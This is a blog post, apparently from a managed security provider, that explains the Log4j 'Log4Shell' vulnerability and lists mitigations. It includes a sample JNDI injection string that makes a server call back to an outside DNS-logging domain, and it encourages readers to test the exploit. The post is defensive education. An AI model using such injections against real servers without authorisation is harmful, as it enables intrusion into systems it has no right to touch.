Log4j Exploit Explained and What You Should Do Immediately

Issue Background

Java is a software platform and programming language used in many of the 1 billion Webservers on the Internet. It’s also found in smartphones, vehicles, IoT devices, and elsewhere. In fact, there are some three billion devices running Java worldwide.

Java programs use libraries, which are sets of reusable code that keep programmers from having to write the same bit of code over and over for different programs. For example, if you wanted to have a spellchecker in your program, someone has already written a library of code for that, and you just import the library into your program and use it instead of writing your own.

Log4j is a popular audit logging library used in Java. Someone has written a library that saves information about events happening in a Java program and writes it to a file or sends that data over the network to a logging server. This is useful for debugging programs or looking through the record of events if some error occurs.

Log4j stores a lot of info, for example: when you browse to a website, an Apache webserver running Log4j records your IP address, type of browser you’re using (e.g., Safari, Chrome, etc.), a timestamp of when you made the request, what webpage you accessed, and so forth.

A hidden error in Log4j that came to light at the end of November and was seen exploited in the wild on 9 December is unfortunately trivially easy to abuse and can cause devastating effects (for example, remote code execution) and is rated a 10.0/10.0 (critical) in the National Vulnerability Database.

Here’s how it works: Log4j does a few things before writing anything to the filesystem. One thing it does is look for patterns such as ${some_pattern} and tries to replace it with another piece of data. For example, it might look for ${date} and replace it with today’s date or ${time} and replace it with the current system time (I just made those up; but you get the idea).

Critical Bug

The critical issue is when it looks for the ${jndi: pattern and tries to replace it. JNDI is the Java Naming and Directory, which is an Application Program Interface (API) call that works with servers to fetch files from databases using certain naming conventions. A quick primer on APIs: these are sets of interfaces that allow diverse applications to communicate with each other in a standardized way using well-defined protocols.

Now, back to the ${jndi: issue: recall that this is a call to load a resource or execute a command from another computer – well, it turns out you can specify any computer, anywhere on the Internet. We just have to tell it which one!

As you can imagine, this is incredibly dangerous. Due to how Java works, it will allow that malicious command to run automatically on any computer using Java with the vulnerable version of the Log4j library (i.e., anything before version 2.16.0). This means that a malicious hacker can cause a victim’s computer to execute whatever they want.

Attackers don’t even need to know which computer to target. Since webservers log what browser you use, the attacker can use a Web proxy to change their browser to

${jndi: [whatever payload…], and if that webserver is using Log4j, it will trigger the vulnerability and execute the payload.

Exploit Example

You can try out the exploit yourself by using a DNS logger (such as dnslog.cn) to generate a domain name and use this to test your payloads. DNS is the service that correlates domain names to IP addresses, so that you can type yahoo.com in your address bar instead of having to remember 98.137.11.164. Here is an example of this logged on 11 December by Cas van Cooten, a Red Teamer based in the Netherlands:

1) Cas goes into his iPhone and changes the name of his phone to ${jndi:ldap://some_domain.dnslog.cn}. Lightweight Directory Access Protocol (LDAP) is the protocol for accessing and maintaining distributed directory information services over the network. So, essentially Cas’s payload is saying, “Connect to my server.”

2) Cas is checking to see if the Apple server handling iPhone names is running Java with a vulnerable version of Log4j. It turns out that it is! He sees that a record for a server connecting to dnslog.cn has indeed showed up in the DNS Log.

3) This means that Apple’s server connected to his domain, triggered by the jndi query due to the vulnerable handling of the Log4j request in their servers (hopefully, this has been patched by now).

Note that if you are testing your own version the exploit and do not see a callback immediately, this does not mean the server’s not vulnerable. There is a lot of batch processing in Java (i.e., tasks that are collected and run on a schedule), and that is the likely cause of delay. Some have reported delays as long as 24 hours. From Twitter:

What You Can Do Now

The following is your multi-pronged approach to enacting countermeasures versus the Log4Shell vulnerability:

1. Use a Web application firewall with updated rules to look for and block the vulnerable ${jndi:
2. Disable Log4j entirely in Apache if not needed, or else upgrade to the latest version (2.16.0).
3. Actively scan systems or use software inventories to identify vulnerable code, then update vulnerable versions of Log4j or apply mitigations.
4. Search for exploitation and post-exploitation activities (See Final Note below for more info).

That should do it; but for the paranoid, you might also consider the following:

1. Disabling JNDI lookups to prevent connections out to a malicious LDAP server.
2. Disabling remote codebases – this will Java from downloading and executing malicious code.

Graphic credit to the Swiss CERT Team.

Final Note

Abacode’s managed services customers are protected from the Log4j flaw as follows: our Security Information and Event Management (SIEM) solutions, which are maintained with continuously updated threat feeds, are actively creating correlation rules to look for indicators of compromise (IOCs) related to the Log4J vulnerability. Any of these IOCs seen within the SIEM events will trigger alarms, which our analysts will then escalate as required in accordance with established client protocols.